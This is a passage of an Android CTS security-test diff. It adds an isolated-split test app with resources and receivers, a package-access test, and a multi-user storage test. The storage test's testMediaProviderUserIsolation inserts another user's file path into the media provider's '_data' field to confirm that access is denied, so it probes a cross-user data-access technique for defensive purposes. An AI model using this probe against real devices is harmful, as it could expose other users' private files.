+LOCAL_AAPT_FLAGS += --package-id 0x82
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
new file mode 100644
index 0000000..ac3a57f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.isolatedsplitapp"
+        featureSplit="feature_c">
+
+    <application>
+        <activity android:name=".feature_c.FeatureCActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".feature_c.FeatureCReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
new file mode 100644
index 0000000..2ab54a8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_c_string">Feature C String Polish</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
new file mode 100644
index 0000000..09f48ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_c_string">Feature C String Default</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
new file mode 100644
index 0000000..dab09a8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.isolatedsplitapp.feature_c;
+
+import com.android.cts.isolatedsplitapp.BaseActivity;
+
+public class FeatureCActivity extends BaseActivity {
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCReceiver.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCReceiver.java
new file mode 100644
index 0000000..e55823b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.isolatedsplitapp.feature_c;
+
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.cts.isolatedsplitapp.BaseReceiver;
+
+public class FeatureCReceiver extends BaseReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        getResultExtras(true).putString(
+                "feature_c", context.getResources().getString(R.string.feature_c_string));
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
new file mode 100644
index 0000000..a2b389d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values-pl/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="base_string">Base String Polish</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
new file mode 100644
index 0000000..da33f0b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="base_string">Base String Default</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
new file mode 100644
index 0000000..e0fafc6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp;
+
+import android.app.Activity;
+
+public class BaseActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseReceiver.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseReceiver.java
new file mode 100644
index 0000000..f11b4cf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/BaseReceiver.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.isolatedsplitapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class BaseReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        getResultExtras(true).putString(
+                "base", context.getResources().getString(R.string.base_string));
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
new file mode 100644
index 0000000..2f6af13
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -0,0 +1,300 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.junit.Assert.*;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.util.Locale;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
+    private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
+    private static final ComponentName FEATURE_A_ACTIVITY =
+            ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
+    private static final ComponentName FEATURE_B_ACTIVITY =
+            ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
+    private static final ComponentName FEATURE_C_ACTIVITY =
+            ComponentName.createRelative(PACKAGE, ".feature_c.FeatureCActivity");
+    private static final String FEATURE_A_STRING = PACKAGE + ":string/feature_a_string";
+    private static final String FEATURE_B_STRING = PACKAGE + ":string/feature_b_string";
+    private static final String FEATURE_C_STRING = PACKAGE + ":string/feature_c_string";
+
+    private static final Configuration PL = new Configuration();
+    static {
+        PL.setLocale(Locale.forLanguageTag("pl"));
+    }
+
+    @Rule
+    public ActivityTestRule<BaseActivity> mBaseActivityRule =
+            new ActivityTestRule<>(BaseActivity.class);
+
+    // Do not launch this activity lazily. We use this rule to launch all feature Activities,
+    // so we use #launchActivity() with the correct Intent.
+    @Rule
+    public ActivityTestRule<Activity> mFeatureActivityRule =
+            new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+                    false /*launchActivity*/);
+
+    @Rule
+    public AppContextTestRule mAppContextTestRule = new AppContextTestRule();
+
+    @Test
+    public void shouldLoadDefault() throws Exception {
+        final Context context = mBaseActivityRule.getActivity();
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+
+        // The base does not depend on any splits so no splits should be accessible.
+        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
+                FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING);
+    }
+
+    @Test
+    public void shouldLoadPolishLocale() throws Exception {
+        final Context context = mBaseActivityRule.getActivity().createConfigurationContext(PL);
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+
+        // The base does not depend on any splits so no splits should be accessible.
+        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
+                FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING);
+    }
+
+    @Test
+    public void shouldLoadFeatureADefault() throws Exception {
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_A_ACTIVITY));
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+
+        int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature A String Default"));
+
+        assertActivitiesDoNotExist(context, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_B_STRING, FEATURE_C_STRING);
+    }
+
+    @Test
+    public void shouldLoadFeatureAPolishLocale() throws Exception {
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_A_ACTIVITY)).createConfigurationContext(PL);
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+
+        int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature A String Polish"));
+
+        assertActivitiesDoNotExist(context, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_B_STRING, FEATURE_C_STRING);
+    }
+
+    @Test
+    public void shouldLoadFeatureAReceivers() throws Exception {
+        final Context context = mAppContextTestRule.getContext();
+        final ExtrasResultReceiver receiver = sendOrderedBroadcast(context);
+        final Bundle results = receiver.get();
+        assertThat(results.getString("base"), equalTo("Base String Default"));
+        assertThat(results.getString("feature_a"), equalTo("Feature A String Default"));
+        assertThat(results.getString("feature_b"), nullValue());
+        assertThat(results.getString("feature_c"), nullValue());
+    }
+
+    @Test
+    public void shouldLoadFeatureBDefault() throws Exception {
+        // Feature B depends on A, so we expect both to be available.
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_B_ACTIVITY));
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+
+        int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature A String Default"));
+
+        resourceId = resources.getIdentifier(FEATURE_B_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature B String Default"));
+
+        assertActivitiesDoNotExist(context, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_C_STRING);
+    }
+
+    @Test
+    public void shouldLoadFeatureBPolishLocale() throws Exception {
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_B_ACTIVITY)).createConfigurationContext(PL);
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+
+        int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature A String Polish"));
+
+        resourceId = resources.getIdentifier(FEATURE_B_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature B String Polish"));
+
+        assertActivitiesDoNotExist(context, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_C_STRING);
+    }
+
+    @Test
+    public void shouldLoadFeatureAAndBReceivers() throws Exception {
+        final Context context = mAppContextTestRule.getContext();
+        final ExtrasResultReceiver receiver = sendOrderedBroadcast(context);
+        final Bundle results = receiver.get();
+        assertThat(results.getString("base"), equalTo("Base String Default"));
+        assertThat(results.getString("feature_a"), equalTo("Feature A String Default"));
+        assertThat(results.getString("feature_b"), equalTo("Feature B String Default"));
+        assertThat(results.getString("feature_c"), nullValue());
+    }
+
+    @Test
+    public void shouldLoadFeatureCDefault() throws Exception {
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_C_ACTIVITY));
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+
+        int resourceId = resources.getIdentifier(FEATURE_C_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature C String Default"));
+
+        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING);
+    }
+
+    @Test
+    public void shouldLoadFeatureCPolishLocale() throws Exception {
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_C_ACTIVITY)).createConfigurationContext(PL);
+        final Resources resources = context.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+
+        int resourceId = resources.getIdentifier(FEATURE_C_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature C String Polish"));
+
+        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
+        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING);
+    }
+
+    @Test
+    public void shouldLoadFeatureAAndBAndCReceivers() throws Exception {
+        final Context context = mAppContextTestRule.getContext();
+        final ExtrasResultReceiver receiver = sendOrderedBroadcast(context);
+        final Bundle results = receiver.get();
+        assertThat(results.getString("base"), equalTo("Base String Default"));
+        assertThat(results.getString("feature_a"), equalTo("Feature A String Default"));
+        assertThat(results.getString("feature_b"), equalTo("Feature B String Default"));
+        assertThat(results.getString("feature_c"), equalTo("Feature C String Default"));
+    }
+
+    private static void assertActivitiesDoNotExist(Context context, ComponentName... activities) {
+        for (ComponentName activity : activities) {
+            try {
+                Class.forName(activity.getClassName(), true, context.getClassLoader());
+                fail("Class " + activity.getClassName() + " is accessible");
+            } catch (ClassNotFoundException e) {
+                // Pass.
+            }
+        }
+    }
+
+    private static void assertResourcesDoNotExist(Context context, String... resourceNames) {
+        final Resources resources = context.getResources();
+        for (String resourceName : resourceNames) {
+            final int resid = resources.getIdentifier(resourceName, null, null);
+            if (resid != 0) {
+                fail("Found resource '" + resourceName + "' with ID " + Integer.toHexString(resid));
+            }
+        }
+    }
+
+    private static class ExtrasResultReceiver extends BroadcastReceiver {
+        private final CompletableFuture<Bundle> mResult = new CompletableFuture<>();
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mResult.complete(getResultExtras(true));
+        }
+
+        public Bundle get() throws Exception {
+            return mResult.get(5000, TimeUnit.SECONDS);
+        }
+    }
+
+    private static ExtrasResultReceiver sendOrderedBroadcast(Context context) {
+        final ExtrasResultReceiver resultReceiver = new ExtrasResultReceiver();
+        context.sendOrderedBroadcast(new Intent(PACKAGE + ".ACTION").setPackage(PACKAGE), null,
+                resultReceiver, null, 0, null, null);
+        return resultReceiver;
+    }
+
+    private static class AppContextTestRule implements TestRule {
+        private Context mContext;
+
+        @Override
+        public Statement apply(final Statement base, Description description) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                    mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+                    base.evaluate();
+                }
+            };
+        }
+
+        public Context getContext() {
+            return mContext;
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index 2ebfefe..fd4d927 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
index d9f00d2..3cf1443 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
@@ -17,15 +17,20 @@
 package com.android.cts.multiuserstorageapp;
 
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoAccess;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileNoAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificPathsExceptObb;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.readInt;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.writeInt;
 
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
 import android.os.Environment;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import java.io.File;
+import java.io.FileNotFoundException;
 
 /**
  * Test multi-user emulated storage environment, ensuring that each user has
@@ -138,6 +143,36 @@
         }
     }
 
+    /**
+     * Verify that files cannot be accessed through media provider.
+     */
+    public void testMediaProviderUserIsolation() throws Exception {
+        final File myPath = Environment.getExternalStorageDirectory();
+        final int myId = android.os.Process.myUid() / 100000;
+        assertEquals(String.valueOf(myId), myPath.getName());
+
+        Log.d(TAG, "My path is " + myPath + " user id " + myId);
+        final File basePath = myPath.getParentFile();
+        for (int i = 0; i < 128; i++) {
+            if (i == myId) continue;
+            final File otherPath = new File(basePath,i + "/" + FILE_SINGLETON);
+            assertFileNoAccess(otherPath);
+
+            final String URI_MEDIA_STRING = "content://media/external/audio/media/";
+            ContentResolver contentResolver = mContext.getContentResolver();
+            ContentValues cv = new ContentValues();
+            cv.put("_data", otherPath.getAbsolutePath());
+            contentResolver.insert(Uri.parse(URI_MEDIA_STRING), cv);
+
+            try {
+                mContext.getContentResolver().openInputStream(Uri.parse(URI_MEDIA_STRING));
+                fail("Accessing through media provider should not be allowed. Path " + myPath);
+            } catch (FileNotFoundException expected) {
+                // OK
+            }
+        }
+    }
+
     private File buildApiObbPath(String file) {
         return new File(getContext().getObbDir(), file);
     }
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
new file mode 100644
index 0000000..d038a70
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsPkgAccessApp
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
new file mode 100644
index 0000000..8558b73
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.packageaccessapp">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.packageaccessapp"
+                     android:label="Test to check package visibility."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java b/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
new file mode 100644
index 0000000..ad64806
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.packageaccessapp;
+
+import static junit.framework.Assert.assertFalse;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.internal.runners.statements.Fail;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.List;
+
+@RunWith(JUnit4.class)
+public class PackageAccessTest {
+
+    private String TINY_PKG = "android.appsecurity.cts.tinyapp";
+
+    private UiDevice mUiDevice;
+
+    @Before
+    public void setUp() throws Exception {
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    }
+
+    @Test
+    public void testPackageAccess_inUser() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        try {
+            PackageInfo pi = pm.getPackageInfo(TINY_PKG, 0);
+            assertNotNull(pi);
+        } catch (NameNotFoundException e) {
+            fail("Package must be found");
+        }
+    }
+
+    @Test
+    public void testPackageAccess_inUserUninstalled() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        try {
+            PackageInfo pi = pm.getPackageInfo(TINY_PKG, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+            assertNotNull(pi);
